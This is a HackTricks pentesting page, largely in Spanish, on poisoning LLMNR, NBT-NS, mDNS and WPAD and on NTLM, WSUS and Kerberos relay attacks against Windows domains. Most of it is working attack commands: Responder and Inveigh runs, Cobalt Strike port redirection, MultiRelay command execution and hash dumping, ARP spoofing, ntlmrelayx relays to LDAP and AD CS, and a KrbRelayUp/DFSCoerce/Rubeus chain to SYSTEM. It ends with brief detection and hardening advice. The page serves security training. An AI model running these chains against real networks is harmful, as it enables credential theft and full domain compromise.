Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Reading time: 15 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Network Protocols

Local Host Resolution Protocols

  • LLMNR, NBT-NS, and mDNS:
  • Microsoft y otros sistemas operativos usan LLMNR y NBT-NS para la resolución de nombres local cuando DNS falla. De forma similar, los sistemas Apple y Linux usan mDNS.
  • Estos protocolos son susceptibles a la intercepción y spoofing debido a su naturaleza no autenticada y broadcast sobre UDP.
  • Responder puede usarse para suplantar servicios enviando respuestas forjadas a hosts que realizan consultas a estos protocolos.
  • Más información sobre la suplantación de servicios usando Responder puede encontrarse here.

Web Proxy Auto-Discovery Protocol (WPAD)

  • WPAD permite a los navegadores descubrir automáticamente la configuración de proxy.
  • El descubrimiento se facilita vía DHCP, DNS, o como fallback a LLMNR y NBT-NS si DNS falla.
  • Responder puede automatizar ataques WPAD, dirigiendo a los clientes a servidores WPAD maliciosos.

Responder for Protocol Poisoning

  • Responder es una herramienta utilizada para envenenar consultas LLMNR, NBT-NS y mDNS, respondiendo selectivamente según los tipos de consulta, apuntando principalmente a servicios SMB.
  • Viene preinstalado en Kali Linux, configurable en /etc/responder/Responder.conf.
  • Responder muestra los hashes capturados en pantalla y los guarda en el directorio /usr/share/responder/logs.
  • Soporta tanto IPv4 como IPv6.
  • La versión para Windows de Responder está disponible here.

Running Responder

  • Para ejecutar Responder con la configuración por defecto: responder -I <Interface>
  • Para sondeos más agresivos (con posibles efectos secundarios): responder -I <Interface> -P -r -v
  • Técnicas para capturar challenges/responses NTLMv1 para un cracking más sencillo: responder -I <Interface> --lm --disable-ess
  • La suplantación WPAD puede activarse con: responder -I <Interface> --wpad
  • Las peticiones NetBIOS pueden resolverse a la IP del atacante, y se puede configurar un proxy de autenticación: responder.py -I <interface> -Pv

DHCP Poisoning with Responder

  • El spoofing de respuestas DHCP puede envenenar permanentemente la información de enrutamiento de una víctima, ofreciendo una alternativa más sigilosa al ARP poisoning.
  • Requiere conocimiento preciso de la configuración de la red objetivo.
  • Ejecutando el ataque: ./Responder.py -I eth0 -Pdv
  • Este método puede capturar efectivamente hashes NTLMv1/2, pero requiere manejo cuidadoso para evitar la interrupción de la red.

Capturing Credentials with Responder

  • Responder se hará pasar por servicios usando los protocolos mencionados arriba, capturando credenciales (usualmente NTLMv2 Challenge/Response) cuando un usuario intenta autenticarse contra los servicios suplantados.
  • Se pueden intentar degradaciones a NetNTLMv1 o deshabilitar ESS para facilitar el cracking de credenciales.

Es crucial señalar que emplear estas técnicas debe hacerse de forma legal y ética, asegurando la autorización adecuada y evitando la interrupción o el acceso no autorizado.

Inveigh

Inveigh es una herramienta para penetration testers y red teamers, diseñada para sistemas Windows. Ofrece funcionalidades similares a Responder, realizando spoofing y ataques man-in-the-middle. La herramienta ha evolucionado de un script PowerShell a un binario en C#, con Inveigh y InveighZero como las principales versiones. Parámetros detallados e instrucciones pueden encontrarse en la wiki.

Inveigh puede operarse mediante PowerShell:

bash
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

O ejecutado como un binario C#:

bash
Inveigh.exe

NTLM Relay Attack

Este ataque aprovecha las sesiones de autenticación SMB para acceder a una máquina objetivo, otorgando una shell de sistema si tiene éxito. Los prerrequisitos clave incluyen:

  • El usuario que se autentica debe tener acceso de Local Admin en el host al que se relaya.
  • SMB signing debe estar deshabilitado.

Reenvío y tunelización del puerto 445

En escenarios donde la introducción directa en la red no es factible, el tráfico en el puerto 445 necesita ser reenviado y tunelizado. Herramientas como PortBender ayudan a redirigir el tráfico del puerto 445 a otro puerto, lo cual es esencial cuando se dispone de acceso de Local Admin para cargar drivers.

PortBender setup and operation in Cobalt Strike:

bash
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Otras herramientas para NTLM Relay Attack

  • Metasploit: Configurar con proxies, detalles de host local y remoto.
  • smbrelayx: Un script Python para relaying sesiones SMB y ejecutar comandos o desplegar backdoors.
  • MultiRelay: Una herramienta de la suite Responder para relay de usuarios específicos o de todos los usuarios, ejecutar comandos o dump hashes.

Cada herramienta puede configurarse para operar a través de un SOCKS proxy si es necesario, habilitando ataques incluso con acceso de red indirecto.

Operación de MultiRelay

MultiRelay se ejecuta desde el /usr/share/responder/tools directory, apuntando a IPs o usuarios específicos.

bash
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

Estas herramientas y técnicas forman un conjunto completo para llevar a cabo NTLM Relay attacks en varios entornos de red.

Abusing WSUS HTTP (8530) for NTLM Relay to LDAP/SMB/AD CS (ESC8)

Los clientes WSUS se autentican con su servidor de actualizaciones usando NTLM sobre HTTP (8530) o HTTPS (8531). Cuando HTTP está habilitado, las comprobaciones periódicas de los clientes pueden ser coaccionadas o interceptadas en el segmento local y relayeadas con ntlmrelayx a endpoints LDAP/LDAPS/SMB o AD CS HTTP (ESC8) sin cracking de hashes. Esto se mezcla con el tráfico normal de actualizaciones y con frecuencia produce autenticaciones de cuentas de equipo (HOST$).

What to look for

  • Configuración de GPO/registro en HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate y ...\WindowsUpdate\AU:
  • WUServer (por ejemplo, http://wsus.domain.local:8530)
  • WUStatusServer (URL de reporting)
  • UseWUServer (1 = WSUS; 0 = Microsoft Update)
  • DetectionFrequencyEnabled y DetectionFrequency (horas)
  • Endpoints SOAP de WSUS usados por clientes sobre HTTP:
  • /ClientWebService/client.asmx (approvals)
  • /ReportingWebService/reportingwebservice.asmx (status)
  • Puertos por defecto: 8530/tcp HTTP, 8531/tcp HTTPS

Reconnaissance

  • Unauthenticated
  • Scan for listeners: nmap -sSVC -Pn --open -p 8530,8531 -iL
  • Sniff HTTP WSUS traffic via L2 MITM and log active clients/endpoints with wsusniff.py (HTTP only unless you can make clients trust your TLS cert).
  • Authenticated
  • Parse SYSVOL GPOs for WSUS keys with MANSPIDER + regpol (wsuspider.sh wrapper summarises WUServer/WUStatusServer/UseWUServer).
  • Query endpoints at scale from hosts (NetExec) or locally: nxc smb -u -p -M reg-query -o PATH="HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" KEY="WUServer" reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

End-to-end HTTP relay steps

  1. Position for MITM (same L2) so a client resolves the WSUS server to you (ARP/DNS poisoning, Bettercap, mitm6, etc.). Example with arpspoof: arpspoof -i -t <wsus_client_ip> <wsus_server_ip>

  2. Redirect port 8530 to your relay listener (optional, convenient): iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530 iptables -t nat -L PREROUTING --line-numbers

  3. Start ntlmrelayx with the HTTP listener (requires Impacket support for HTTP listener; see PRs below): ntlmrelayx.py -t ldap:// -smb2support -socks --keep-relaying --http-port 8530

Other common targets:

  • Relay to SMB (if signing off) for exec/dump: -t smb://
  • Relay to LDAPS for directory changes (e.g., RBCD): -t ldaps://
  • Relay to AD CS web enrollment (ESC8) to mint a cert and then authenticate via Schannel/PKINIT: ntlmrelayx.py --http-port 8530 -t http:///certsrv/certfnsh.asp --adcs --no-http-server For deeper AD CS abuse paths and tooling, see the AD CS page:

AD CS Domain Escalation

  1. Trigger a client check-in or wait for schedule. From a client: wuauclt.exe /detectnow or use the Windows Update UI (Check for updates).

  2. Use the authenticated SOCKS sessions (if -socks) or direct relay results for post-exploitation (LDAP changes, SMB ops, or AD CS certificate issuance for later authentication).

HTTPS constraint (8531)

  • La intercepción pasiva de WSUS sobre HTTPS es inefectiva a menos que los clientes confíen en tu certificado. Sin un certificado de confianza u otra ruptura de TLS, el handshake NTLM no puede ser capturado/relayed desde el tráfico WSUS HTTPS.

Notes

  • WSUS fue anunciado como deprecated pero sigue ampliamente desplegado; HTTP (8530) aún es común en muchos entornos.
  • Helpers útiles: wsusniff.py (observar check-ins WSUS HTTP), wsuspider.sh (enumerar WUServer/WUStatusServer desde GPOs), NetExec reg-query a escala.
  • Impacket restauró el soporte de HTTP listener para ntlmrelayx en PR #2034 (originalmente añadido en PR #913).

Force NTLM Logins

En Windows puedes ser capaz de forzar que algunas cuentas privilegiadas se autentiquen a máquinas arbitrarias. Lee la siguiente página para aprender cómo:

Force NTLM Privileged Authentication

Kerberos Relay attack

A Kerberos relay attack roba un ticket AP-REQ de un servicio y lo reutiliza contra un segundo servicio que comparte la misma clave de cuenta de equipo (porque ambos SPN están en la misma cuenta de máquina $). Esto funciona aunque las clases de servicio de los SPN difieran (p. ej. CIFS/LDAP/) porque la clave que descifra el ticket es el NT hash de la máquina, no la cadena SPN en sí y la cadena SPN no forma parte de la firma.

Unlike NTLM relay, the hop is limited to the same host but, if you target a protocol that lets you write to LDAP, you can chain into Resource-Based Constrained Delegation (RBCD) or AD CS enrollment and pop NT AUTHORITY\SYSTEM in a single shot.

For detailed info about this attack check:

TokenPropósitoRelevancia para relay
TGT / AS-REQ ↔ REPPrueba la identidad del usuario ante el KDCsin cambios
Service ticket / TGS-REQ ↔ REPVinculado a un SPN; cifrado con la clave del propietario del SPNintercambiable si los SPN comparten cuenta
AP-REQEl cliente envía el TGS al serviciolo que robamos y reusamos
  • Los tickets están cifrados con la clave derivada de la contraseña de la cuenta que posee el SPN.
  • El Authenticator dentro del AP-REQ tiene una marca temporal de 5 minutos; el replay dentro de esa ventana es válido hasta que la caché del servicio detecte un duplicado.
  • Windows raramente verifica si la cadena SPN en el ticket coincide con el servicio al que apuntas, por lo que un ticket para CIFS/HOST normalmente se descifra bien en LDAP/HOST.
    1. Qué debe cumplirse para relay Kerberos
  1. Shared key: los SPN de origen y destino pertenecen a la misma cuenta de equipo (por defecto en servidores Windows).
  2. No channel protection: SMB/LDAP signing deshabilitado y EPA desactivado para HTTP/LDAPS.
  3. Puedes interceptar o coaccionar la autenticación: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM, etc..
  4. La fuente del ticket no debe estar ya usada: ganas la carrera antes de que llegue el paquete real o lo bloqueas por completo; de lo contrario la caché de replay del servidor lanza el Event 4649.
  5. Necesitas de alguna manera poder realizar un MitM en la comunicación, quizá formando parte del grupo DNSAmins para modificar el DNS del dominio o pudiendo cambiar el HOST file de la víctima.

Kerberos Relay Steps

  • 3.1 Recon the host
powershell
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
  • 3.2 Inicia el relay listener

KrbRelayUp

powershell
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp envuelve KrbRelay → LDAP → RBCD → Rubeus → SCM bypass en un solo binario.

  • 3.3 Coerce Kerberos auth
powershell
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce hace que el DC nos envíe un ticket Kerberos CIFS/DC01.

  • 3.4 Relay the AP-REQ

KrbRelay extrae el blob GSS de SMB, lo reempaqueta en un bind LDAP y lo reenvía a ldap://DC01—la autenticación tiene éxito porque la misma clave lo descifra.

  • 3.5 Abuse LDAP ➜ RBCD ➜ SYSTEM
powershell
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

Ahora posees NT AUTHORITY\SYSTEM.

Más rutas que vale la pena conocer

VectorTécnicaPor qué importa
AuthIP / IPSecUn servidor falso envía un GSS-ID payload con cualquier SPN; el cliente construye un AP-REQ directamente hacia tiFunciona incluso entre subredes; machine creds por defecto
DCOM / MSRPCUn OXID resolver malicioso fuerza al cliente a autenticarse a un SPN y puerto arbitrariosPriv-esc local puro; evita el firewall
AD CS Web EnrollRelevar el ticket de la máquina a HTTP/CA y obtener un cert, luego PKINIT para crear TGTsEvita las defensas de firmado LDAP
Shadow CredentialsEscribir msDS-KeyCredentialLink, luego PKINIT con par de claves forjadoNo hace falta añadir una cuenta de equipo

Resolución de problemas

ErrorSignificadoSolución
KRB_AP_ERR_MODIFIEDLa clave del ticket ≠ la clave del objetivoHost/SPN incorrecto
KRB_AP_ERR_SKEWDesfase de reloj > 5 minSincronizar la hora o usar w32tm
LDAP bind failsSe requiere firmaUsar la ruta AD CS o deshabilitar la firma
Event 4649 spamEl servicio detectó un Authenticator duplicadobloquear o competir (race) con el paquete original

Detección

  • Aumento de Event 4769 para CIFS/, HTTP/, LDAP/ desde la misma fuente en cuestión de segundos.
  • Event 4649 en el servicio indica que se detectó un replay.
  • Un inicio de sesión Kerberos desde 127.0.0.1 (relay al SCM local) es muy sospechoso—mapea vía regla Sigma en la documentación de KrbRelayUp.
  • Vigilar cambios en los atributos msDS-AllowedToActOnBehalfOfOtherIdentity o msDS-KeyCredentialLink.

Endurecimiento

  1. Forzar LDAP & SMB signing + EPA en cada servidor.
  2. Separar SPNs para que HTTP no esté en la misma cuenta que CIFS/LDAP.
  3. Parchear vectores de coerción (PetitPotam KB5005413, DFS, AuthIP).
  4. Configurar ms-DS-MachineAccountQuota = 0 para evitar uniones de equipos no autorizadas.
  5. Generar alertas por Event 4649 y inicios de sesión Kerberos en loopback inesperados.

References

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks